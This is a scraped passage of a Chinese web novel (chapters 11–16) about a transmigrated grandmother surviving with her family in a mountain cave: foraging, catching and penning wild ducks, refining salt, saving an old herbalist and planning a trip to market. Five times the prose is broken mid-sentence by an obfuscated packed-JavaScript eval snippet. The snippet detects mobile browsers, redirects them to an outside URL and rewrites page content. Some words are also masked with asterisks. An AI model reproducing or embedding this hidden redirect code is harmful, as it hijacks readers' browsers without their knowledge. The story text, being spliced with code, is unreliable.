林禾将原先刮下来的盐对着周围洒了一圈，避免山蛭又蠢蠢欲动跳上来。 “娘，咱们啥时候回去啊？这地方越瞧越邪乎。” 被山蛭咬过的沈大山惊魂未定，现在他看哪里都觉得会随时蹿出来吸人血的虫子。 “洒了盐，那些山蛭不会上来了。”林禾没搭理沈大山要回去的请求。 因为她看见了长在前面树丛中的宝贝——木姜子！ 那可是比人还高的木姜子树！ 林禾常年在山中行走，也没见过这么粗壮高大的木姜子树。 木姜子树是药食同源的典型代表，果实、叶子、根都能利用。 刚靠近树底，林禾就闻见那股霸道又刺鼻的香味，熟悉又亲切。 在野外，没有其他调味品时，木姜子绝对是完美的天然调味品。 木姜子的果实气味浓烈，类似柠檬与姜的混合香，能去除肉类的腥味，更能增香调味，甚至还有温中散寒，祛风除湿的作用。 木姜子取用更是方便，无需多余的处理，摘下来捣碎无论凉拌还是烹煮都可以。 若是晒干制成粉或者榨出油，不仅不会损坏其香味，还会更易保存和携带。 林禾瞧见挂满枝头的木姜子就两眼放光。 “娘，这树上的果子咋一半长满了，一半啥也没有啊？” 沈大山走近才发现这奇特的一幕，惊叹又疑惑。 林禾看了一圈周围的地形，猜出了原因。 按道理来说，木姜子成熟的季节应该集中在夏天，但这个地方的地形奇特，此处形成一个小的向阳面，温度明显高于其他地方。 照到太阳的一面，让木姜子树误以为夏季到了，所以才会提前结果，但没照到太阳的一面，还停留在正常的温度，自然不会结果。 但林禾没朝沈大山多余解释，“你别管，这树有自己的活法。” 林禾说完，麻溜地拽着一截树枝往上爬，很快就到了树丛中间。 木姜子的果实小小的挤在一起，多的一簇有十来个，少的一簇只有两三个。 但这并不耽误林禾伸手将它们一一收入囊中。 林禾只是摘完一根树枝上木姜子身前的衣服就兜不下了。 沈大山看着林禾爬树时矫健的动作，满眼诧异，“娘，你啥时候干活这么利索了？” 沈大山看着爬下来的林禾，仿佛第一天认识她。 林禾瞪着沈大山，没好气道：“问问问！张嘴就知道问，有这个功夫，你帮我一把，活儿都干完了！” 林禾没准备照着原主的性格伪装，因为她再怎么装都会有破绽。 不如让沈大山他们一家重新熟悉她的性格，相处起来没负担。 而且她现在这个辈分，是家里说一不二的大长辈，也不用刻意让着谁。 沈大山得了自家娘明晃晃的一句嫌弃，也不好再追问，看着逐渐走远的林禾，他赶忙跟上去。 带着木姜子回去后，林禾要做的第一件事就是去找早上被丢掉的菜花蛇。 有了木姜子和盐石，去腥的蛇肉和黄鳝有什么区别？ 馋肉馋疯了的林禾，钻进山坡下的草丛，但找了一圈，愣是没找到丢下去的菜花蛇。 “不应该啊……” 林禾记得扔下菜花蛇的地方就是在这里，怎么会找不到呢？ 又绕了一圈，林禾本想着算了，却在拨开脚边的草丛时发现了少量的血迹。 难不成那蛇活过来了？自己又爬走了？ 林禾顺着血迹一路往前，一心盯着草丛上的血迹，没注意脚下的路。 等她发现血迹的尽头是一处陡峭的山坡时，差点滑下去，幸好她眼疾手快拉住一旁的茅草和灌木才没掉下去。 林禾顾不得手掌被茅草划伤的血痕，她满眼都是山坡下那口深潭里戏水的野鸭。 通体呈现黄棕色，尾巴尖是黑色，脚却是红色，一体三色。 林禾不认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287097|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些野鸭的品种，但不妨碍她对着这群肥美的野鸭流口水。 “一只、两只、三只……”林禾数了一下，加上小的野鸭，足足有十二只！ 之前的菜花蛇应当是被这群野鸭叼走了。 春季正是野鸭繁殖的季节，不少野鸭会迁徙到合适生存的地方，途中碰见死去的菜花蛇这种蛇也会去啄食。 林禾观察着周围的地形，想要寻个地方下去。 此时她站的山坡虽然陡峭，但是另外一边却要缓和的多。 这深潭里的水似乎是从山崖上的小股水流汇聚而成的，那股水流应该和山洞里的那股水是同一个。 林禾换了一个角度，发现山洞其实就在深潭的上方，从山洞后绕过去应当能找到下去的路。 林禾没浪费时间，往回折返，朝着山顶走。 等林禾回到山洞时，门口已经燃起了浓烟，是王三娘她们在烧窑。 制陶器最关键的一步就是烧窑，王三娘也没真正实操过，所以先拿了几个阴干好的陶器试一试。 结果出乎意料地顺利，只是烧出来的陶器表面有些细微的裂纹，却不影响正常使用，仅仅是有些影响美观罢了。 有了这一次成功的经验，王三娘信心大涨，开始烧第二次。 山洞周围都是松树，烧窑用的柴火不用愁，沈大山在一旁帮着砍柴，王三娘手边堆了半人高的柴火。 “这就烧好第一批陶器嘛！”林禾瞧见放在地上排排放好的陶器，面带喜色。 她还以为这几天又只能吃烤的东西，没想到这么快就有了容器，总算能喝到热水了。 “这本是拿来练手的，谁知效果还不错，就留了下来，只是有些不够美观。” 王三娘说着自己的打算，“等这窑陶器出来，我准备些草木灰抹在陶器上，再烧一会儿就能形成简单的釉层，陶器能用得更久。” “三娘，你这手艺太厉害了！”林禾拿起一个陶锅，满意溢于言表。 这要是把野鸭抓上来，晚上再炖一锅野鸭汤……想想就要流口水了。 第12章 兴奋的大马猴 不过林禾再馋，也知道抓野鸭徒手是很难抓到的，若是一次不成功，这野鸭跑了，再抓只会更难。 幸好山洞里还有不少茅草，编一个半圆形的网兜出来应该不成问题。 半圆形的网兜不在于要兜住野鸭，要想兜住野鸭，茅草的韧性完全不够，一挣扎就会断掉。 用网兜的重点是在拦截野鸭，将野鸭围在水潭里，进去抓的时候才不会让野鸭四处逃散。 有大丫帮忙，林禾的网兜半个时辰就编完了，两个网兜大小一样，合在一起正好是一个完整的圆。 林禾试了试手中的网兜，就绕到山洞后面找下去的路。 这一找，林禾还真找到一条往下走的小路，坡度不算陡，能顺利走下去。 林禾喊上沈大山，递给他一个网兜，带着他往下走。 沈大山也看见了深潭里的野鸭，“娘，你咋发现的？” 林禾头也不回，脚步不停，“用眼睛发现的。” 到了深潭附近，林禾让沈大山等在原地，自己则轻手轻脚从树丛后绕到深潭的另外一边。 林禾冲着沈大山使眼色后，折下一根树枝拍打水面。 “嘎——嘎嘎嘎！” 受惊的野鸭开始往沈大山的方向扑腾，沈大山趁机上前围堵，将野鸭往林禾的方向赶。 野鸭被沈大山手中的网兜拦住去路，只能又往林禾这边跑，奈何林禾手中也有网兜，一样拦住去路。 这群野鸭只能挤在一起，被围堵在靠近山崖的那一侧。 沈大山下水将这些野鸭抓了过来，林禾负责在岸边用树藤绑住野鸭的脚和翅膀。 十二只野鸭，七只大的野鸭，五只偏小一点的野鸭都被抓住了。 野鸭全家都被一锅端了。 两个人，四只手，一趟还拿不完这些野鸭。 沈大山两手拎着野鸭得先回去送一趟。 上坡时林禾看着他两手拎着野鸭，踮脚往上走，还左摇右晃的背影，像只兴奋的大马猴。 等两个将野鸭全部带回山洞，二妞正抱着一只个头小的野鸭在怀里顺**。 “鸭鸭，你快点长大，给我们下蛋吃，好不好？” 大妞见状，在一旁默不作声地把扑腾着翅膀想逃跑的野鸭拽进山洞。 大妞一丝不苟干活的样子衬得二妞有些傻。 大妞从小就是大人…… 有大妞这个称职的“守鸭卫”在，林禾将手中的鸭子都放在一起，转身招呼沈大山。 “大山，你把外头剩下的柴火抱进来围着这边的角落打一圈桩。” 野鸭的数量太多，吃也吃不完，圈养起来说不定还能下蛋。 但养在山洞外面林禾不放心，幸好山洞够大，围着洞壁的一侧可以圈出一个简易的鸭圈。 “娘，要隔多远啊？”沈大山摸不准打桩的间距。 “隔一根打一根就行。”林禾说话时人已经出了山洞，往松树林里走。 她要去砍一些松针回来。 三月下旬的松针大多还是翠绿的，这些刚长出来的松针用来围鸭圈硬度还不够，林禾砍的时候会挑一挑，颜色比较深的松针硬度才够。 农村常用这样的松树枝拦在菜地门口，效果很好。 林禾砍了七八枝松树枝拖着往回走，在进山洞时，她稍微砍掉了一些分叉。 沈大山刚将桩打好，手中的石头还没来得及放下，“娘，你看这样行吗？” “干得很好，下次还让你干！” 林禾看着刚好到自己腰间的木桩，又比了比木桩之间的宽度，都很合适。 她把带回来的松树枝堵在木桩之间的空隙处，确保都堵严实后才将大妞“看守”的野鸭一一抓了进去。 林禾自然也没放过二妞怀里的那只。 刚被解开的野鸭们不服气，扑腾着翅膀就要“**”，谁知刚靠近木桩就被松针扎了，“嘎嘎！嘎——” 林禾早就瞄准了这只最肥美的野鸭，伸手将它抓出来拎在手上，莫约六斤重。 这只野鸭是公鸭，又是最肥的，注定活不过今晚。 林禾拎着柴刀和野鸭往外走。 走到洞口时，她还不忘顺走摆在洞口的陶罐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287098|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大妞、二妞，你们谁来帮我抓鸭腿？”林禾对着山洞里喊了一声。 二妞先冲了出来，手里还拿着一根鸭**，“我来！我来！” 大妞紧随其后，见二妞先开口，哪怕到了林禾面前，也抿着嘴没说话。 林禾见状，直接发话：“你们一人一只腿，可得抓紧了啊！” 双胞胎一人抓住一个腿，异口同声应下：“好！” 林禾清理干净野鸭脖子上的鸭**，隔开喉咙放血，野鸭开始挣扎蹬腿，双胞胎跟着用力。 大妞小脸紧绷，越发严肃。 二妞大声喊着：“用力！用力！它要跑了！” 等野鸭彻底没了动静，林禾把放在脚边接鸭血的陶罐挪开，鸭头也被她架在鸭翅膀下面。 “大山，水烧开了吗？”林禾一手提着鸭子一手拿着陶罐。 “开了！”沈大山没去杀鸭子，而是守在火堆旁烧水。 林禾把野鸭放在另外一个陶盆里，舀出开水浇在野鸭身上。 王三娘终于把所有的陶器都烧制完成，等着陶器放凉的时间，她看见林禾在烫鸭**想过来帮忙。 “你歇着，让大山来。”林禾把拔鸭**的任务交给了沈大山，“他不怕烫，拔起来快。” 王三娘没推辞，她烧了大半天的窑，腰酸得不行，正好休息一下。 若是在之前，沈大山还会推脱几句，但之前已经被林禾教训过两次，现在他已经不敢再推辞了。 接过陶盆的沈大山，蹲在一边开始拔鸭**。 林禾则还有一项重要的事要做——炼盐！ 炼盐说起来简单，只需要溶解、过滤和蒸发就行，但真正做起来步骤琐粹。 之前带回来的盐石上有很多盐晶，林禾将它们全部敲碎倒入陶罐中，从蓄水池里接了些水一起搅拌。 溶解之后等待一刻钟的时间沉淀，倒出最上层的清水，把底下的沙石重新加水溶解沉淀。 身旁的火堆烧得正旺，林禾把得到的盐水放在新的小陶罐中，重新架在火上煮，水煮干后罐底析出不少白色晶体。 第13章 饱餐一顿 这些白色晶体不像粗盐，但也没有达到现代那种细盐的程度，而是介于两者之间。 虽然可以再次溶解得到细盐，但林禾要求不高，能吃就行。 加到饭菜也一样会融化，何必多费功夫。 三大块盐石，溶解之后炼出来的盐能有小半个陶罐，也够吃上一段时间了。 林禾炼完盐，沈大山也把鸭**拔完了，拔得很干净，连顽固又细小的鸭**都没剩下。 “从前我怎么不知你还有这样的本事？”王三娘瞧见光洁的鸭子，看沈大山一眼，没好气地开口：“看来娘说得对，男人不干活不是不会，而是懒！” “你这话说的，我往后学着干不就是了。”沈大山面色讪讪。 从前王三娘虽然心中有怨怼，但却没有什么话语权，这样的话她不会说也不敢说。 但现在有了婆婆撑腰，她说话的底气都足了不少。 王三娘接过沈大山手中拔完**的鸭子，蹲在蓄水池旁边清洗干净柴刀，将鸭子开膛破肚。 “这鸭子确实肥，肚子里面全是油嘞！” 王三娘扒开鸭肚子，皮下和肠子附近挤着一大坨黄色的鸭油。 鸭油和猪油差不多，都带着独特的脂香，最适合用来炒青菜或者豆腐。 王三娘将鸭油扯出来放在单独的碗中。 林禾看着被清理出来的内脏，重新拿了个陶碗装起来带到另外一边清洗。 有了木姜子和盐，这内脏再腥臭也不怕，不过是费些功夫罢了。 守林员一进山至少得待半年或十个月，山里不仅信号不好，周围也没有外卖小店。 想吃卤货的时候，林禾只能和前辈们自己做，清理鸭肠和鸭胗这些内脏，林禾已经很娴熟了。 王三娘清洗干净鸭子，林禾也把内脏清理干净了。 林禾见王三娘不准备留鸭腿，开口多说了一句。 “剁两个鸭腿出来给双胞胎吃，今天杀鸭子她们可是出了大力气的。” “诶！谢谢娘。”王三娘闻言，剁肉的手一顿，心中感动。 “双胞胎出力了，该奖励她们。” 林禾并没放在心上，有小孩的时候，饭桌上的鸭腿鸡腿都是给小孩吃。 柴刀使用的次数太多了，刀刃上又大大小小的缺口，很钝，剁鸭肉吃力，切鸭内脏也好不到哪里去。 林禾皱眉继续拿柴刀切着鸭胗。 买一把菜刀回来的愿望越发强烈。 幸好采回来的蕨菜脆，不用费什么力气就能切断。 鸭肉、鸭杂和蕨菜都需要焯水，林禾焯水时起了搭土灶的心思。 之前一直吃烤的食物，也没有陶锅，就一直用火堆凑活着，但现在有了陶锅，还用火堆煮东西就不那么方便了。 为了快点吃上肉，林禾让沈大山在一旁重新生火，专门用来煲鸭肉汤。 等鸭汤的香味从陶锅中飘出时，爆炒鸭杂也被盛了出来。 “大山，撤一根柴火。” 林禾把鸭杂交给王三娘，嘱咐了看火的沈大山后，掀开陶锅的锅盖，鸭汤的香气瞬间随着热气弥漫整个山洞。 双胞胎盯着陶锅咽口水，连沈大山也时不时偷瞄一眼。 林禾见炖得差不多了，将焯水的蕨菜扔进去盖上锅盖一起炖煮。 香味没那么浓了，但肚子却感觉更饿了。 从早上到现在，几人只吃了一些之前捡回来的锥栗，其实早就饿得前胸贴后背了。 林禾也不例外。 林禾一削好竹筷子，就将锅盖打开，招呼其他人：“吃吧，小心烫。” 炖煮了一个多时辰的鸭汤浓郁鲜香，一口喝下去鸭汤滑过舌尖，温热的汤汁瞬间将口腔包裹，口感醇厚细腻。 鸭肉的鲜味充分融入汤中，咸鲜滋味在味蕾上散开，唤醒每一个味觉细胞，咸度适中，既不会寡淡，也不会让人觉得口干。 炖煮出的鸭油均匀分散在汤里，带来微微的油润感，却不会让人觉得油腻，反而增添了汤的浓郁。 再咬一口一嗦脱骨的软烂鸭肉，配上脆爽鲜嫩的蕨菜，味蕾得到极大的满足。 一口鸭汤，一口鸭肉，林禾觉得人生都圆满了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287099|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一时间，山洞里只剩下喝汤和咀嚼的声音，连平常最捧场的二妞都埋头吃肉。 多说一句就少吃一口，谁也不愿意放下手中的碗筷。 干了一天体力活的沈大山本就饿极了，现在更是恨不得将头埋进碗里。 放在一旁的爆炒鸭杂倒是被其他三人忽略，只有林禾在吃。 大妞见林禾去夹，也跟着夹了一筷子。 鸭肠和鸭胗的脆、鸭肝的软嫩以及鸭心的紧实都让大妞眼前一亮。 尤其是鸭杂里林禾还放了木姜子一起爆炒，木姜子辛辣中带着一丝花椒的麻，不仅去腥提鲜还让人欲罢不能。 大妞尝过一筷子，随后又默不作声地夹了几次，每次都会多夹一点。 二妞看见大妞的动作，也尝试了一下爆炒鸭杂，“奶奶，这个是什么？好好吃！” “鸭杂。”林禾夹菜的间隙，空出嘴回了她一句。 沈大山和王三娘听见二妞的话，默契地将筷子伸向装着鸭杂的碗。 没一会儿碗就空了。 沈大山的脸上露出意犹未尽的神色，他才吃了没几口怎么就没了。 “娘，你从哪里弄来的姜？” 沈大山在鸭杂里吃出了辣味，以为林禾在里面放了姜。 “不是姜，是之前摘回来的木姜子。”林禾吃撑了，才放下手中的碗。 “嗝~”二妞也吃饱了，忍不住打了个响亮的嗝，“奶奶的手艺真好！” 自从沈家的两个儿子成婚后，原主就再也没有做过饭，都是使唤两个儿媳做饭。 时间一长，原主做饭的水平沈大山也已经忘记，只留有模糊的记忆，便跟着二妞一起夸道：“娘做的饭比县城饭馆里的还好吃！” 林禾吃到了心心念念的肉，身心舒畅。 趁着外面的天还没黑，林禾想起搭土灶的事，拉着沈大山去小竹林那边挖黏土，就当是饭后消食。 到了小竹林，沈大山就着上次挖过的地方继续挖。 他力气大，没一会儿就挖完搭土灶要用的黏土，但林禾却没想着走。 第14章 山上来人了 竹林里的小竹笋陆续长了出来。 竹笋长得快，一天一个样，上次来看的时候还只有大拇指那么长，不过几天的功夫就长到小臂那般长。 林禾钻进小竹林，将一些长得高的竹笋揪下来抱在怀里。 “娘，要我进来帮忙吗？”挖完黏土的沈大山在山坡下叫喊。 “不用，我就出来了！”林禾抱着一把竹笋弯腰出了竹林，随手扯过一根树藤捆住怀里的竹笋。 在山上就是有这样一个好，随手就能找到捆东西的树藤。 小竹林里的竹笋是很常见的红壳笋，但味道却不差，笋肉洁白鲜嫩，清炒或炒肉都是一绝，若是太阳大，晒成笋干后配上腊肉炒完更是一绝。 林禾打算等几日，小竹林里的红壳笋都长出来，摘回来制成笋干，能吃也能卖。 换些钱回来还能下山买粮，长久不吃主食，干活儿身上都没劲儿！ “你带着黏土先回去，我去割些草喂鸭子。” 林禾和沈大山说了一声就拎着柴刀往另外一边走。 沈大山也习惯了，应了一声就往回走。 虽说野鸭是杂食动物，五谷、昆虫、杂草什么都吃，但最主要的食物还是浮萍、水草和一些陆地上的嫩草。 林禾记得这边的山坡下长了一片苜蓿草，很适合给野鸭当食物。 苜蓿草长得和三叶草很像，经常有人会认错。 林禾刚当护林员那会，见到前辈们巡山时都会摘一把带回去炒菜吃，还以为是三叶草。 后来才知道苜蓿草不仅能保护水土，还含有丰富的维生素，它的嫩叶比菠菜还有营养，甚至还能防治一切出血的症状，药用价值也很高。 也是从那个时候起，林禾走在路上都会下意识找苜蓿草的身影，偶尔也会带一把回去清炒或凉拌。 苜蓿草一年四季都可以生长，但二月上旬采摘才是最合适的，能吃到嫩叶，现在长出来的叶子都老了。 不过苜蓿草割完还会再长，等嫩叶长出来再摘也不迟。 林禾割了一捆苜蓿草夹在腋下准备往回走。 没走几步，前面突然传来一阵急促的脚步声。 林禾立马蹲下，躲在山坡下，握紧手中的柴刀，警惕地盯着前方的小路。 这个山坡附近长了不少茶树和灌木，蹲在山坡下的林禾不容易被发现，但若是有人从小路上下来，林禾能透过灌木丛看得很清楚。 山上的这几日，她基本上将山上走遍了，都没有发现有人居住或者停留的痕迹。 现在怎么会有脚步声？ 还这般急促？ 没等林禾想明白，急促的脚步声渐渐靠近，紧接着一声惨叫伴随着重物落地的声音响起。 林禾看见小路上先滚下来一个背篓，随后又滚下来一个穿着青衫的老人。 背篓里的东西散落一地，老人也顾不得背篓里的东西，爬起来后立刻将鞋子脱掉，似乎在抓什么东西。 林禾靠近些，一下就看到他脚背上和脚踝上爬满了山蛭。 数量之多，林禾也觉得头皮发麻。 老者显然也清楚这些山蛭不能硬扯，手里拿着一截小木棍不停地刮，奈何他坐在原地不动，刚刮下去的山蛭缓了一会儿后又蹦起来吸附在他腿上。 甚至有些还要往他脸上蹦！ 老者焦急地看着背篓，似乎想要伸手去够，但似乎摔伤了腿，一直没法起身。 林禾见这些山蛭天女散花般要在附近散开，隐隐有蹦到她这边的趋势。 为了不被这群山蛭缠上，她只能朝着小路下方的背篓移动。 她能看见背篓中散落出来的火折子。 山蛭怕火，遇到火会自动脱落。 林禾靠近时快速在地上捡了一把枯树叶，一拿到火折子就打开将手中的枯树叶点燃，放在老者的脚背处，又对着老者的脚边熏了一圈。 这才让活蹦乱跳的山蛭都蜷缩成一团，掉落在地上。 林禾真打算彻底烧死这些山蛭时，老者突然开口阻止：“别动手，这些山蛭我留着要入药的！” 林禾手上的动作一顿，将手中燃烧到一半的枯树叶丢在一边，用脚踩熄火苗。 “多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287100|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢你了，老夫还以为今日要死在此处，幸好得你出手救我一命。” 山蛭凶狠，十几只山蛭就能将人全身的血吸走大半，失血过多在山里很容易失温死掉。 老者说着道歉的话，却在腰间掏出一个竹筒，挨个将地上蜷缩成一团的山蛭装进去。 林禾见他的竹筒里似乎还有不少。 “你是大夫？” 林禾顺手帮他将背篓里的东西，有几种药材是林禾认识的，但大部分都是她没怎么见过的。 “是，我上山来采药，碰见山蛭本想着抓一些回去，谁知惹上一群，摆脱不掉了。” 老者将竹筒塞上，看着林禾手中的苜蓿草开口道：“你这手中的草能否给我些？” “可以。”林禾看着他满腿的鲜血，已经猜到他要干什么了。 果然，拿到苜蓿草的下一秒，老者就将它塞进嘴里嚼烂，吐出来后敷在伤口处。 “多谢你救我一命，这荷包里没多少钱，不足以报答你的救命之恩，但也算老夫的一点心意。” 老大夫掏出钱袋子递给林禾。 他一看到林禾的装扮就猜到她是流民，城中前几日闹得沸沸扬扬，抓了不少人，也杀了不少人。 “若是日后有什么事要帮忙，可以去城中西街的春风堂找老夫。” 老大夫扶着旁边的茶树站起来，临走前又看了一眼林禾：“城中近来不太平，若是要进城，怕是还得等上一等，但附近村子的草市已经开了。” 林禾看着往山下走的老大夫，心中了然。 他这是猜出了她是流民，给她透露消息呢！ 林禾攥着手中的钱袋子，这份好意她记下了。 “草市嘛……可以去碰碰运气。” 草市类似于农村的集市，和县城里的商铺小贩不同，草市不是每天都有，而是每隔七天或者十天开一次。 基本上都是附近村子的村民去以物换物，卖的东西也都是些自家种的。 当然也会有走货郎这样到处流转做生意的人摆摊，每到草市那一天就会挑着扁担在路边摆摊。 第15章 草市开市 每个地方的草市一般都是在一个月的月初或者月中开市。 林禾算算日子，今天正好是三月的最后一天，正好能赶上，趁着这个时候下山去换些衣物粮食回来，也能改善生活。 天色渐暗，林禾将钱袋子收好，拎着竹笋和苜蓿草往山顶上走。 林禾回去时，沈大山已经将土灶搭了一半。 搭土灶不用教，沈大山打小在村里长大，虽然在一些事情上会犯糊涂，但搭灶盖房修瓦却是一把好手。 “娘，这土灶马上就搭好了，晚上我们吃什么？” 沈大山吃完中午的那顿鸭肉，心里还惦记着，见林禾一回来，立马开口问。 “晚上吃中午剩下的，蕨菜和鸭肉汤。” 林禾的话说出口，不止沈大山面露失望，双胞胎也大失所望。 肉哪是顿顿能吃的？ 饿了这么久，突然顿顿吃肉，不仅油腻还容易消化不良，尤其是小孩子的肠胃弱，总得缓一缓。 “这样的灶搭两个出来，中间隔开一点距离。”林禾走过去见沈大山的土灶即将完工，又给他加了一项任务。 “行，我歇会儿就继续搭。” 沈大山现在对林禾还是言听计从，但是却少了不情愿和委屈。 “喝口水歇一会儿。”王三娘见自家男人满头大汗，拿陶碗从蓄水池里舀了水过来递给他。 林禾切苜蓿草时看见沈大山往嘴里灌生水，“往后的水都烧开后再喝，免得喝了肚子疼。” “诶！我记下了。”王三娘知道林禾是为了大家好，自然不会反驳，笑着应下。 但神经大条的沈大山却满不在意，“娘，没事的！我身体好！我能……” 沈大山话还没说完，就被王三娘用手肘捅了捅胳膊，“娘是为了咱们好，你逞什么能啊？” 林禾没理会自家的傻儿子，将切碎的苜蓿草放进陶盆里，混着水一起送进鸭圈。 幸好做的陶器够多，才能空出专门的陶盆喂鸭子。 “啰啰啰啰——”林禾一喊，野鸭们就朝着陶盆涌过来。 角落里的一只母鸭起身时，林禾看见了三个雪白的鸭蛋！ 一直守在鸭圈旁边的二妞自然也看见了，她激动地拉着林禾的衣角，“奶奶！鸭子生蛋了！好大一个！” “等她们吃完我就去捡出来。”林禾看着挤在一起进食的鸭子没进去，怕打扰它们。 这些鸭子可是要好好养着的，未来的日子能不能一直都吃上鸭肉，就全靠它们了。 等鸭子散开，林禾跨进鸭圈，将里面的鸭蛋捡了出来。 还是热乎的，甚至沾着鸭屎。 但林禾不嫌弃，有了这三个鸭蛋，晚上能加餐。 沈大山的土灶搭好了，林禾用中午剩下的一点鸭油煎了鸭蛋，又把鸭汤煮开，重新放了新鲜的蕨菜进去。 鸭蛋每个人都分到两口，再多也没了。 虽然没有中午吃肉时的酣畅淋漓，但吃着脆嫩的蕨菜，喝着浓郁的鸭汤，比之前没油水，又吃不饱的日子好多了。 几人睡前，咂吧着嘴里的鸭肉味儿，日子越来越有盼头了。 林禾枕着大妞给她做的茅草枕头，逐渐坠入梦乡。 次日一早，林禾是被一阵臭味熏醒的，臭鸡蛋的味道萦绕在鼻尖，扰得人不得安生。 林禾不用睁眼就知道这味道是什么了，是鸭子屎的味道。 鸭子养在山洞里确实安心了，可这个臭味却叫人难以接受。 林禾打着哈欠爬起来，跨进鸭圈里拿着锄头清理鸭屎。 其他人还睡得正香，林禾清理完鸭屎没了睡意，干脆把昨晚老大夫给的钱袋子拿出来数了数。 拿在手上分量不重，但林禾数完发现里面的碎银子和铜板加起来有二两银子还多一文。 不愧是大夫，出手就是大方！ 要知道寻常百姓一年的伙食也才三两银子左右，米面一斤二十文，糙米糙面的价格更低一些，十五文一斤。 肉的价格一般比米面还要贵十文到二十文一斤，寻常人家一年能吃上一次肉就很不错了。 毕竟买一斤肉可以买到两斤粮食了，谁会放弃粮食呢？ 等其他人醒了，林禾才告诉了几人昨晚遇到老大夫的事情，顺便将山下草市开市的消息说了出来。 “娘可是想要下山？”王三娘清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287101|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚林禾的性格很少说废话，一下就猜到了林禾的用意。 “是，我想下山换些粮食和衣物，若是可以，最好能买些粮种回来。” 林禾拿到钱的那一刻，她就动了要开荒种田的心思。 人不能长久不吃主食，以后更不可能靠买粮食过日子。 山里的环境很好，地肥又有水源，沿着向阳面的斜坡就能轻易挖出梯田，用来种水稻是极好的。 四月初正是播种的好时候，若是错过了这次的草市，最少还要再等半个月，等到了五月份再播种就来不及了。 “娘，你们留在山上，等我先下去探探情况再说。”沈大山怕官府的官兵还在附近搜查。 “我的想法是留三娘在家里，我和大山一起下山一趟，若是出了事，孩子还有人照应。” 林禾不放心沈大山一个人下山。 他的性子又轴又实诚，很容易被骗，遇到事容易牺牲自己保全其他人。 若是他下山碰到官兵，大概率会为了保护其他人不往山上跑，甘愿被抓。 “娘，我一个人去就行！你和三娘都留在……” “我是你娘，你得听我的！”林禾毫不犹豫打断了他，带着些命令的口吻：“行了，就这么定了，你洗把脸跟着我下山。” “娘，大山，万事小心。”王三娘目送二人往山下走，话语中带着担心。 大妞抿着嘴，一张小脸上写满紧张，连一向活泼的二妞都感受到大人的情绪，沉默不语。 林禾带着沈大山走上山的捷径。 “现在开始记住走过的这条路和我跟你说的每一个路口，万一碰上官兵，你就走这条路最快上山，将官兵引到有山蛭的那个地方。” “……” 沈大山没应声，林禾一猜就知道他在想什么。 “你不要想着会暴露我们的住处，若是大妞二妞没了爹，你以为她们母女三人会过得轻松吗？” 林禾恨铁不成钢地瞪了他一眼，“遇到事一家人一起扛才是真的，你脑子里其他的想法都给我丢出去！山里这么大，你引他们进来绕都给他们绕晕。” “娘，我知道了。”沈大山应下了。 第16章 咬牙买下 林禾他们待的山本就离县城和村庄不远，从山上下来之后，沿着官道走小半个时辰，就陆续瞧见有村民在官道上摆摊。 许是二人来得早，有些村民带来的东西还放在箩筐里没有拿出来。 等沈大山和林禾走近时，正在整理东西的老翁忙侧开身子，“二位可要看看我的红壳笋？都是昨日从山上摘回来的，还新鲜着呢！” 林禾见他的箩筐中果真只有红壳笋，有些失望，但还是问了一嘴：“还有其他东西吗？” “还有荠菜，是今天早上摘的，一文钱一把。”老翁拉开竹篮上的花布，拿起一把荠菜，急着给林禾介绍。 